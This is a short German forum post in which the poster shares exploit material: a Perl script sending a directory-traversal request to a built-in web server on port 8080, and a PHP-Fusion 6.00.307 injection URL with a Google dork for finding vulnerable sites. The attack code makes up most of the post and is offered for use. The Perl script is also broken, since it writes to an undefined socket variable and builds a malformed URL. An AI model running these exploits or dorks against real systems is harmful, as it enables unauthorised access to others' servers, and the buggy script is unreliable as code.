Ach ja... 
Ich mache z.B. auch sowas wie folgendes.
Perl
#!/usr/bin/perl
use IO::Socket;
print q {
built-in web server remote user traversal Exploit
Author: G4nv3r
Visit: www.hackschool.dl.am
Example: biwsrute.pl <target> - targethost
###########################################################
# #
# http://securitytracker.com/alerts/2006/May/1016109.html #
# #
###########################################################
};
$addr = $ARGV[0];
$dir = 'C:%5C/';
print "Target: $addr\n";
print "[~] Connecting with target...\n";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$addr", PeerPort=>"8080") || die "[-] Connection failed :-(\n";
print "[+] Connected!\n";
print $socket "GET / HTTP/1.1\n";
$remote_user = "http://.$addr.$dir";
print $sock "GET $remote_user HTTP/1.1\n";
close($sock);...und
Code
----------------------------------------------------------------
I found a vulnerability in PHP-Fusion 6.00.307
G4nv3r
www.hackschool.dl.am
----------------------------------------------------------------
[-] Exploit: http://www.target.com/setuser.php?cat="(user_id)", "users", "user_name='$user_name' AND user_password='$user_pass'"
[-] Googledork: inurl:/phpfusion/setuser.php
